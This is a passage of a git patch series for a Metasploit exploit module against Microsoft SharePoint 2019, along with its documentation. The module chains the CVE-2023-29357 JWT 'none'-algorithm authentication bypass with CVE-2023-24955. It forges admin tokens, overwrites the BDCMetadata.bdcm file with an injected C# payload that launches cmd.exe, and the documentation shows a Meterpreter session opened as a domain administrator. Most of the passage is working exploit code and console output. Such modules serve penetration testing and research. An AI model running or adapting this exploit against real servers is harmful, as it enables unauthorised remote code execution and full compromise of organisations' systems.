found is not a site admin.') + CheckCode::Safe('Authentication was successfully bypassed via CVE-2023-29357, but the user found is not a site admin. You might want to try with another user.') end end @@ -355,7 +378,7 @@ def exploit fail_with(Failure::BadConfig, 'AutoCheck must be set to true') unless datastore['AutoCheck'] res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') - print_status('BDCMetadata existed, backing up original data') + print_status('BDCMetadata file already present on the remote host, backing it up.') @backup_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") else body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } From be631e52133fc76c93657f4954623c2753298e48 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Fri, 19 Jan 2024 20:32:49 -0500 Subject: [PATCH 05/12] Apply remaining suggestions from jvoisin Co-authored-by: Julien Voisin --- .../sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index cb8a68371fe1..b1780df3e15d 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -128,7 +128,7 @@ def parse_ntlm_msg(msg) end def resolve_target_info - vprint_status('resolving tagret info') + vprint_status('resolving target info') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', @@ -239,9 +239,9 @@ def send_json_request(url, data) 'method' => 'POST', 'ctype' => 'application/json', 'headers' => { - 'X-PROOF_TOKEN' => token, + 'X-Proof_Token' => token, 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] + 'Host' => datastore['HOSTNAME'] }, 'data' => data.to_json }) From 7a5fe5b32c4a2a4a5c4c16ab5132cdf38b3ce479 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Sun, 21 Jan 2024 19:04:14 -0500 Subject: [PATCH 06/12] Randomized payload plus minor fixes --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 61 +++++++++++-------- 1 file changed, 37 insertions(+), 24 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index b1780df3e15d..4522b7fd3ad8 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -82,7 +82,8 @@ def initialize(info = {}) ) register_options([ OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]), - OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', '' ]) + OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', '' ]), + OptString.new('USERNAME', [ true, 'A known SharePoint user.', '' ]) ]) end @@ -196,30 +197,41 @@ def gen_token_sid(url, sid) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end - def gen_app_proof_token(url) + def gen_app_proof_token(url, username = "") if @SID.blank? vprint_status('sid is blank') - jwt_token = { - :iss => "00000003-0000-0ff1-ce00-000000000000", - :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - :nbf => "1673410334", - :exp => "1725093890", - :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - :ver => "hashedprooftoken", - :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\", - :endpointurlLength => 1, - :isloopback => true - }.to_json - b64_token = Rex::Text.encode_base64(jwt_token) + + jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + # jwt_token2 = { + # :iss => "00000003-0000-0ff1-ce00-000000000000", + # :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + # :nbf => "1673410334", + # :exp => "1725093890", + # :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + # :ver => "hashedprooftoken", + # :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", + # :endpointurlLength => 1, + # :isloopback => "true", + # }.to_json + # + # # Something here isn't right, spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces being added + # jwt_token2.gsub!('"ver":', ' "ver":') + # jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') + # jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') + # jwt_token2.gsub!('"isloopback":', ' "isloopback": ') + + print_status(jwt_token1) + + b64_token = Rex::Text.encode_base64(jwt_token1) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" else gen_token_sid(url, @SID) end end - def send_get_request(url) + def send_get_request(url, user="") vprint_status('Sending get request') - token = gen_app_proof_token(url) + token = gen_app_proof_token(url, user) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', @@ -248,7 +260,7 @@ def send_json_request(url, data) end def get_current_user - res = send_get_request('/_api/web/currentuser') + res = send_get_request('/_api/web/currentuser', datastore['USERNAME']) if res&.code != 200 print_error('Failed to get current user') return nil @@ -272,7 +284,7 @@ def check @realm, @client_id = get_oauth_info print_status("Got Oauth Info: #{@realm}|#{@client_id}") - @lob_id = Rex::Text.rand_text_alpha(rand(8)) + @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) print_status("Lob id is: #{@lob_id}") rescue InvalidResponse => e return CheckCode::Safe(e) @@ -281,6 +293,8 @@ def check current_user = get_current_user if current_user.nil? + return CheckCode::Safe('Unable to identify the current user') + else current_user =~ %r{(.+)} return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) @@ -288,8 +302,6 @@ def check return CheckCode::Safe('Unable to parse the username from the LoginName received from the target') unless current_user.include?('|') @user = current_user.split('|')[1] - else - return CheckCode::Safe('Unable to identify the current user') end if current_user.include?('true') @@ -301,15 +313,16 @@ def check end def create_c_sharp_payload(cmd) + class_name = Rex::Text.rand_text_alpha(rand(4..8)) c_sharp_payload = <<~EOF - aaab{ - class ABCD: System.Web.Services.Protocols.HttpWebClientProtocol{ - static ABCD(){ + #{Rex::Text.rand_text_alpha(rand(4..8))}{ + class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ + static #{class_name}(){ System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}"); } } } - namespace aabcd + namespace #{Rex::Text.rand_text_alpha(rand(4..8))} EOF c_sharp_payload From aa30a00c0ef4e76b6dd981b2d1dab7e8dce7532a Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Sun, 21 Jan 2024 19:45:29 -0500 Subject: [PATCH 07/12] Rubocop --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 4522b7fd3ad8..e2617ace059d 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -180,24 +180,24 @@ def gen_endpoint_hash(url) def gen_token_sid(url, sid) vprint_status('Generating a token sid') jwt_token = { - :iss => "#{@client_id}", - :aud => "#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}", - :nbf => "1673410334", - :exp => "1725093890", - :nameid => "#{sid}", - :nii => "urn:office:idp:activedirectory", - :appidacr => "0", - :isuser => "0", - :ver => "hashedprooftoken", - :endpointurl => "#{gen_endpoint_hash(url)}", - :isloopback => "true", - :appctx => "user_impersonation" + iss: @client_id.to_s, + aud: "#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}", + nbf: '1673410334', + exp: '1725093890', + nameid: sid.to_s, + nii: 'urn:office:idp:activedirectory', + appidacr: '0', + isuser: '0', + ver: 'hashedprooftoken', + endpointurl: gen_endpoint_hash(url).to_s, + isloopback: 'true', + appctx: 'user_impersonation' }.to_json b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end - def gen_app_proof_token(url, username = "") + def gen_app_proof_token(url, _username = '') if @SID.blank? vprint_status('sid is blank') @@ -229,7 +229,7 @@ def gen_app_proof_token(url, username = "") end end - def send_get_request(url, user="") + def send_get_request(url, user = '') vprint_status('Sending get request') token = gen_app_proof_token(url, user) send_request_cgi({ @@ -313,7 +313,7 @@ def check end def create_c_sharp_payload(cmd) - class_name = Rex::Text.rand_text_alpha(rand(4..8)) + class_name = Rex::Text.rand_text_alpha(rand(4..8)) c_sharp_payload = <<~EOF #{Rex::Text.rand_text_alpha(rand(4..8))}{ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ From 326b50bd4dd0de71a3e493a07bac6af65eb4e948 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 6 Feb 2024 15:22:21 -0500 Subject: [PATCH 08/12] Responded to comments --- ...oint_dynamic_proxy_generator_unauth_rce.md | 11 +- ...dynamic_proxy_generator_auth_bypass_rce.rb | 380 +++++++++--------- 2 files changed, 185 insertions(+), 206 deletions(-) diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md index 0e1f2df855d6..68c309f420d2 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -76,16 +76,17 @@ msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > [*] Running automatic check ("set AutoCheck false" to disable) [*] Sharepoint version detected: 16.0.0.10337 [*] Discovered hostname is: sp1 -[*] Discovered domain is: DOMAIN [*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000 [*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000 -[*] Lob id is: KLNfH +[*] Lob id is: XafKHq [*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000 [+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955. -[*] BDCMetadata existed, backing up original data +[*] BDCMetadata file already present on the remote host, backing it up. +[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt [+] Payload has been successfully delivered [*] Sending stage (200774 bytes) to 172.16.199.72 -[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.72:57806) at 2024-01-19 14:55:44 -0500 +[+] BDCMetadata.bdcm has been successfully restored to it's original state. +[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500 meterpreter > getuid Server username: DOMAIN\Administrator @@ -95,7 +96,7 @@ OS : Windows Server 2022 (10.0 Build 20348). Architecture : x64 System Language : en_US Domain : DOMAIN -Logged On Users : 23 +Logged On Users : 20 Meterpreter : x64/windows meterpreter > ``` \ No newline at end of file diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index e2617ace059d..117c38beb822 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -13,14 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - MSV_AV_EOL = 0x0000 - MSV_AV_NP_COMPUTER_NAME = 0x0001 - MSV_AV_NP_DOMAIN_NAME = 0x0002 - MSV_AV_DNS_COMPUTER_NAME = 0x0003 - MSV_AV_DNS_DOMAIN_NAME = 0x0004 - - class InvalidResponse < StandardError - end + class SharepointError < StandardError; end + class SharepointInvalidResponseError < SharepointError; end def initialize(info = {}) super( @@ -31,7 +25,7 @@ def initialize(info = {}) This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. - The auth bypass allows attackers to impersonate any valid Sharepoint user. This vulnerability stems from the + The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic flaw in the ReadTokenCore() method. @@ -81,95 +75,51 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]), - OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', '' ]), - OptString.new('USERNAME', [ true, 'A known SharePoint user.', '' ]) + OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) ]) end - - def decode_int(byte_string) - byte_string.reverse.unpack('H*')[0].to_i(16) - end - - def decode_string(byte_string) - byte_string.gsub(/\x00/, '') - end - - def parse_ntlm_msg(msg) - target_info_fields = msg[40, 8] - target_info_len = decode_int(target_info_fields[0, 2]) - target_info_offset = decode_int(target_info_fields[4, 4]) - target_info_bytes = msg[target_info_offset, target_info_len] - - target_info = {} - - info_offset = 0 - - while info_offset < target_info_bytes.length - av_id = decode_int(target_info_bytes[info_offset, 2]) - av_len = decode_int(target_info_bytes[info_offset + 2, 2]) - av_value = target_info_bytes[info_offset + 4, av_len] - info_offset += 4 + av_len - - case av_id - when MSV_AV_EOL - # Do nothing - when MSV_AV_NP_COMPUTER_NAME - target_info['MSV_AV_NP_COMPUTER_NAME'] = decode_string(av_value) - when MSV_AV_NP_DOMAIN_NAME - target_info['MSV_AV_NP_DOMAIN_NAME'] = decode_string(av_value) - when MSV_AV_DNS_COMPUTER_NAME - target_info['MSV_AV_DNS_COMPUTER_NAME'] = decode_string(av_value) - when MSV_AV_DNS_DOMAIN_NAME - target_info['MSV_AV_DNS_DOMAIN_NAME'] = decode_string(av_value) - end - end - - target_info - end - - def resolve_target_info - vprint_status('resolving target info') + def resolve_target_hostname res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { - 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO', - 'HOST' => datastore['HOSTNAME'] + # The NTLM SSP challenge: 'NTLMSSPHOSTNAME' + 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO' } }) - if res && res.headers['WWW-Authenticate'] - auth_header = res.headers['WWW-Authenticate'] - if auth_header.include?('NTLM') - msg2 = Rex::Text.decode_base64(auth_header.split('NTLM ')[1]) - return parse_ntlm_msg(msg2) - else - raise InvalidResponse, 'The WWW-Authenticate header did not contain "NTLM"' - end + + if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) + hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] + + hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase else - raise InvalidResponse, 'The server did not return a WWW-Authenticate header' + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header' end end - def get_oauth_info + def get_oauth_info(hostname) vprint_status('getting oauth info') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '_api', 'web'), 'method' => 'GET', 'headers' => { + # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', - 'HOST' => datastore['HOSTNAME'] + 'HOST' => hostname } }) + if res && res.headers['WWW-Authenticate'] - raise InvalidResponse, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ realm = Regexp.last_match(1) client_id = Regexp.last_match(2) print_status("realm: #{realm}, client_id: #{client_id}") return realm, client_id else - raise InvalidResponse, 'The server did not return a WWW-Authenticate header with getting OAuth info' + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info' end end @@ -177,138 +127,104 @@ def gen_endpoint_hash(url) Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) end - def gen_token_sid(url, sid) - vprint_status('Generating a token sid') - jwt_token = { - iss: @client_id.to_s, - aud: "#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}", - nbf: '1673410334', - exp: '1725093890', - nameid: sid.to_s, - nii: 'urn:office:idp:activedirectory', - appidacr: '0', - isuser: '0', - ver: 'hashedprooftoken', - endpointurl: gen_endpoint_hash(url).to_s, - isloopback: 'true', - appctx: 'user_impersonation' + def gen_app_proof_token + + jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + + jwt_token2 = { + :iss => "00000003-0000-0ff1-ce00-000000000000", + :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :nbf => "1673410334", + :exp => "1725093890", + :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :ver => "hashedprooftoken", + :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", + :endpointurlLength => 1, + :isloopback => "true", }.to_json - b64_token = Rex::Text.encode_base64(jwt_token) + + # Spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces are added + jwt_token2.gsub!('"ver":', ' "ver":') + jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') + jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') + jwt_token2.gsub!('"isloopback":', ' "isloopback": ') + + b64_token = Rex::Text.encode_base64(jwt_token2) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" - end - def gen_app_proof_token(url, _username = '') - if @SID.blank? - vprint_status('sid is blank') - - jwt_token1 = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" - # jwt_token2 = { - # :iss => "00000003-0000-0ff1-ce00-000000000000", - # :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - # :nbf => "1673410334", - # :exp => "1725093890", - # :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", - # :ver => "hashedprooftoken", - # :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", - # :endpointurlLength => 1, - # :isloopback => "true", - # }.to_json - # - # # Something here isn't right, spacing doesn't matter in JSON yet using jwt_token2 causes a failure unless these spaces being added - # jwt_token2.gsub!('"ver":', ' "ver":') - # jwt_token2.gsub!('"endpointurl":', '"endpointurl": ') - # jwt_token2.gsub!('"endpointurlLength":', '"endpointurlLength": ') - # jwt_token2.gsub!('"isloopback":', ' "isloopback": ') - - print_status(jwt_token1) - - b64_token = Rex::Text.encode_base64(jwt_token1) - "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" - else - gen_token_sid(url, @SID) - end end - def send_get_request(url, user = '') - vprint_status('Sending get request') - token = gen_app_proof_token(url, user) + def send_get_request(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', - 'headers' => { - 'X-Proof_Token' => token, - 'Authorization' => "Bearer #{token}", - 'Host' => datastore['HOSTNAME'] - } + 'headers' => @auth_headers }) end def send_json_request(url, data) - vprint_status('Sending json request') - token = gen_app_proof_token(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'POST', 'ctype' => 'application/json', - 'headers' => { - 'X-Proof_Token' => token, - 'Authorization' => "Bearer #{token}", - 'Host' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => data.to_json }) end def get_current_user - res = send_get_request('/_api/web/currentuser', datastore['USERNAME']) + res = send_get_request('/_api/web/currentuser') if res&.code != 200 - print_error('Failed to get current user') - return nil + raise SharepointInvalidResponseError, 'Failed to get current user' end res.body end - def check - version = sharepoint_get_version - return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? + def do_auth_bypass + hostname = resolve_target_hostname + hostname = hostname.split('.')[0] if hostname.include?('.') - print_status("Sharepoint version detected: #{version}") + print_status("Discovered hostname is: #{hostname}") - begin - ntlm_response = resolve_target_info - hostname = ntlm_response['MSV_AV_DNS_COMPUTER_NAME'].split('.')[0] - domain = ntlm_response['MSV_AV_NP_DOMAIN_NAME'] - - print_status("Discovered hostname is: #{hostname}") - print_status("Discovered domain is: #{domain}") - - @realm, @client_id = get_oauth_info - print_status("Got Oauth Info: #{@realm}|#{@client_id}") - @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) - print_status("Lob id is: #{@lob_id}") - rescue InvalidResponse => e - return CheckCode::Safe(e) - end + @realm, @client_id = get_oauth_info(hostname) + print_status("Got Oauth Info: #{@realm}|#{@client_id}") + @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) + print_status("Lob id is: #{@lob_id}") - current_user = get_current_user + token = gen_app_proof_token - if current_user.nil? - return CheckCode::Safe('Unable to identify the current user') - else - current_user =~ %r{(.+)} - return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) + @auth_headers = { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => hostname + } - @user = Regexp.last_match(1) - return CheckCode::Safe('Unable to parse the username from the LoginName received from the target') unless current_user.include?('|') + user_info = get_current_user + raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? - @user = current_user.split('|')[1] - end + user_info =~ %r{.+?\|(.+)\|.+?<\/d:LoginName>} + raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) - if current_user.include?('true') - print_status("Successfully impersonated Site Admin: #{@user}") - CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') + username = Regexp.last_match(1) + if user_info.include?('true') + # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint + print_status("Successfully impersonated Site Admin: #{username}") else - CheckCode::Safe('Authentication was successfully bypassed via CVE-2023-29357, but the user found is not a site admin. You might want to try with another user.') + raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.' + end + @auth_bypassed = true + end + + def check + version = sharepoint_get_version + return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? + + print_status("Sharepoint version detected: #{version}") + + begin + CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass + rescue SharepointInvalidResponseError => e + return CheckCode::Safe(e) end end @@ -329,21 +245,69 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ end def drop_and_execute_payload - bdcm_data = "http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdlRevertToSelfFalse" + + bdcm_data = " + + + + + http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl + + + + RevertToSelf + + + + + + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +" + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" - token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => bdcm_data }) + fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 print_good('Payload has been successfully delivered') entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" @@ -355,29 +319,43 @@ def drop_and_execute_payload 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => exec_cmd_data }) + fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 end - def on_new_session + def ensure_target_dir_present + res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') + if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') + print_status('BDCMetadata file already present on the remote host, backing it up.') + res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") + if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body.empty? + @backup_bdc_metadata = res_bdc_metadata.body + store_bdcmetadata_loot(res_bdc_metadata.body) + else + print_warning('Failed to backup the existing BDCMetadata.bdcm file') + end + else + body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } + res_json = send_json_request('/_api/web/folders', body) + if res_json&.code == 201 + print_status('Created BDCM Folder') + else + fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + end + end + end + + def on_new_session(_session) url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" - token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url_drop_payload), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, + 'headers' => @auth_headers, 'data' => @backup_bdc_metadata }) if res&.code == 200 @@ -387,22 +365,22 @@ def on_new_session end end + def store_bdcmetadata_loot(data) + file = store_loot('sharepoint.config', 'text/plain', rhost , data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') + print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") + end + def exploit - fail_with(Failure::BadConfig, 'AutoCheck must be set to true') unless datastore['AutoCheck'] - res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') - if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') - print_status('BDCMetadata file already present on the remote host, backing it up.') - @backup_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") - else - body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } - res_json = send_json_request('/_api/web/folders', body) - if res_json&.code == 201 - print_status('Created BDCM Folder') - else - fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass. + unless @auth_bypassed + begin + do_auth_bypass + rescue SharepointError => e + fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}") end end - + # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up. + ensure_target_dir_present drop_and_execute_payload end end From 4bb871453e05dd0343f07694a410daee211b1b39 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 6 Feb 2024 15:44:06 -0500 Subject: [PATCH 